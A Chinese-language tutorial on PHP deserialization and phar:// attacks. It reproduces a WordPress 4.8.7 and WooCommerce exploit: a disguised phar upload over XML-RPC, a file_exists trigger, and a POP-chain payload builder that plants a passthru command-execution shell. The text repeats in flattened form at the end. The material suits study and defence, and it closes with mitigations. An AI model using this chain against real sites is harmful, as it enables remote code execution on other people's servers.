PHP反序列化漏洞的新攻击面
字数 1518 2025-08-18 11:37:33

PHP反序列化漏洞与Phar流攻击面深度解析

一、PHP反序列化漏洞基础

1.1 漏洞简介

PHP反序列化漏洞(PHP对象注入)是由于程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而引发代码执行、文件操作等安全问题。这类漏洞不仅存在于PHP,在Java、Python等面向对象语言中同样存在。

1.2 漏洞原理

漏洞产生的核心在于魔术方法的自动调用机制和危险函数的结合:

class AnyClass {
    public $name;
    function __destruct() {
        passthru($this->name);
    }
}

当存在以下条件时,漏洞可被利用:

  1. 包含一个魔术方法(如__destruct
  2. 魔术方法中直接或间接调用危险函数(如evalcall_user_func等)
  3. 能够通过设置成员变量控制危险函数参数

1.3 序列化与反序列化过程

PHP使用serialize()unserialize()函数进行对象序列化和反序列化:

$obj = new AnyClass();
$obj->name = "test";
$res = serialize($obj); // 输出:O:8:"AnyClass":1:{s:4:"name";s:4:"test";}
$obj2 = unserialize($res);

当脚本执行结束,对象销毁时会自动调用__destruct方法。

1.4 非public属性的处理

对于protected/private属性,序列化格式会包含特殊字符:

class ChildClass extends AnyClass {
    protected $wc;
    public function make() {
        $this->wc = new AnyClass();
        $this->wc->name = 'whoami';
        return serialize($this->wc);
    }
}
// 输出:O:8:"AnyClass":1:{s:7:"*name";s:6:"whoami";}

二、Phar流转换器攻击面

2.1 PHP流转换器概述

PHP文件操作函数支持多种流转换器:

  • file://
  • http://
  • ftp://
  • php://
  • zlib://
  • data://
  • glob://
  • phar://

2.2 Phar流特性

Phar是PHP的归档格式,类似于Java的JAR。phar://允许将多个文件归入一个本地文件夹。

创建Phar文件示例:

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($malicious_object);
$phar->stopBuffering();

关键点:setMetadata()会将对象以序列化形式存入Phar文件,当解析时会自动反序列化这些数据。

2.3 攻击条件

利用Phar进行攻击需要满足:

  1. 能够上传包含攻击payload的Phar归档文件(可伪装为JPG等格式)
  2. 能够将phar://路径传入文件操作函数(如file_exists()

三、WordPress漏洞复现与分析

3.1 环境准备

  • WordPress 4.8.7
  • WooCommerce插件(最新版)
  • 具有作者权限的账号

3.2 攻击步骤

  1. 上传恶意Phar文件(伪装为JPG):
$filename = "phar.jpg";
$username = 'author';
$password = 'xxxx';
$wpsite = 'http://target/wordpress';
$xmlclient = $wpsite.'/xmlrpc.php';
$client = new IXR_Client($xmlclient);
$params = array(
    'name' => 'phartest.jpg',
    'type' => 'image/pwnage',
    'bits' => new IXR_Base64(file_get_contents($filename)),
    'overwrite' => false
);
$client->query('wp.uploadFile', 1, $username, $password, $params);
  1. 修改附件元数据
    通过后台修改_wp_attached_fileZ:\Z

  2. 触发反序列化
    构造请求使file_exists()处理phar://路径:

thumb=phar://./wp-content/uploads/2018/08/phartest-9.jpg/test.txt
  1. 通过XML-RPC触发命令执行
POST /wordpress/xmlrpc.php?c=hostname HTTP/1.1
<methodCall>
  <methodName>wp.getMediaItem</methodName>
  <params>
    <param><value><string>1</string></value></param>
    <param><value><string>author</string></value></param>
    <param><value><string>xxxx</string></value></param>
    <param><value><int>29</int></value></param>
  </params>
</methodCall>

3.3 漏洞原理分析

关键点在wp-includes/post.php中的wp_get_attachment_thumb_file()函数:

function wp_get_attachment_thumb_file($post_id = 0) {
    $file = get_attached_file($post->ID);
    if (!empty($imagedata['thumb'])) {
        $thumbfile = str_replace(basename($file), $imagedata['thumb'], $file);
        if (file_exists($thumbfile)) {
            return $thumbfile;
        }
    }
}

通过控制_wp_attached_file元数据和thumb参数,可以构造出phar://路径触发反序列化。

3.4 POP链构造

WordPress 4.9+的POP链利用:

  1. 核心类Requests_Utility_FilteredIterator
class Requests_Utility_FilteredIterator extends ArrayIterator {
    protected $callback;
    public function current() {
        $value = parent::current();
        $value = call_user_func($this->callback, $value);
        return $value;
    }
}
  1. 触发点:WooCommerce的WC_Log_Handler_File
class WC_Log_Handler_File extends WC_Log_Handler {
    protected $handles = array();
    public function __destruct() {
        foreach ($this->handles as $handle) {
            if (is_resource($handle)) {
                fclose($handle);
            }
        }
    }
}
  1. 完整Payload生成
require('wp-load.php');
require_once('wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php');
require_once('wp-includes/Requests/Utility/FilteredIterator.php');

$arr = array("1" => '@passthru($_GET["c"]);');
$obj_ = new Requests_Utility_FilteredIterator($arr, "assert");

class myClass extends WC_Log_Handler_File {
    protected $wc;
    public function make($handle) {
        $this->wc = new WC_Log_Handler_File();
        $this->wc->handles = $handle;
        @unlink("phar.phar");
        $phar = new Phar("phar.phar");
        $phar->startBuffering();
        $phar->addFromString("test.txt", "test");
        $phar->setStub("<?php __HALT_COMPILER(); ?>");
        $phar->setMetadata($this->wc);
        $phar->stopBuffering();
    }
}

四、防御措施

  1. 输入验证

    • 严格检查反序列化操作的输入来源
    • 使用白名单验证序列化数据
  2. 安全配置

    • 禁用不必要的流包装器(如phar://
    • 限制文件上传类型和内容检查
  3. 代码层面

    • 避免在魔术方法中使用危险函数
    • 对反序列化类进行限制(使用allowed_classes选项)
  4. 更新维护

    • 及时更新WordPress核心和插件
    • 关注PHP官方安全公告

五、参考资源

  1. BlackHat USA 2018演讲
  2. PHP官方文档:流包装器和Phar扩展
  3. WordPress安全公告和补丁说明
PHP反序列化漏洞与Phar流攻击面深度解析 一、PHP反序列化漏洞基础 1.1 漏洞简介 PHP反序列化漏洞(PHP对象注入)是由于程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而引发代码执行、文件操作等安全问题。这类漏洞不仅存在于PHP,在Java、Python等面向对象语言中同样存在。 1.2 漏洞原理 漏洞产生的核心在于魔术方法的自动调用机制和危险函数的结合: 当存在以下条件时,漏洞可被利用: 包含一个魔术方法(如 __destruct ) 魔术方法中直接或间接调用危险函数(如 eval 、 call_user_func 等) 能够通过设置成员变量控制危险函数参数 1.3 序列化与反序列化过程 PHP使用 serialize() 和 unserialize() 函数进行对象序列化和反序列化: 当脚本执行结束,对象销毁时会自动调用 __destruct 方法。 1.4 非public属性的处理 对于protected/private属性,序列化格式会包含特殊字符: 二、Phar流转换器攻击面 2.1 PHP流转换器概述 PHP文件操作函数支持多种流转换器: file:// http:// ftp:// php:// zlib:// data:// glob:// phar:// 2.2 Phar流特性 Phar是PHP的归档格式,类似于Java的JAR。 phar:// 允许将多个文件归入一个本地文件夹。 创建Phar文件示例: 关键点: setMetadata() 会将对象以序列化形式存入Phar文件,当解析时会自动反序列化这些数据。 2.3 攻击条件 利用Phar进行攻击需要满足: 能够上传包含攻击payload的Phar归档文件(可伪装为JPG等格式) 能够将 phar:// 路径传入文件操作函数(如 file_exists() ) 三、WordPress漏洞复现与分析 3.1 环境准备 WordPress 4.8.7 WooCommerce插件(最新版) 具有作者权限的账号 3.2 攻击步骤 上传恶意Phar文件 (伪装为JPG): 修改附件元数据 : 通过后台修改 _wp_attached_file 为 Z:\Z 触发反序列化 : 构造请求使 file_exists() 处理 phar:// 路径: 通过XML-RPC触发命令执行 : 3.3 漏洞原理分析 关键点在 wp-includes/post.php 中的 wp_get_attachment_thumb_file() 函数: 通过控制 _wp_attached_file 元数据和 thumb 参数,可以构造出 phar:// 路径触发反序列化。 3.4 POP链构造 WordPress 4.9+的POP链利用: 核心类 : Requests_Utility_FilteredIterator 触发点 :WooCommerce的 WC_Log_Handler_File 类 完整Payload生成 : 四、防御措施 输入验证 : 严格检查反序列化操作的输入来源 使用白名单验证序列化数据 安全配置 : 禁用不必要的流包装器(如 phar:// ) 限制文件上传类型和内容检查 代码层面 : 避免在魔术方法中使用危险函数 对反序列化类进行限制(使用 allowed_classes 选项) 更新维护 : 及时更新WordPress核心和插件 关注PHP官方安全公告 五、参考资源 BlackHat USA 2018演讲 PHP官方文档:流包装器和Phar扩展 WordPress安全公告和补丁说明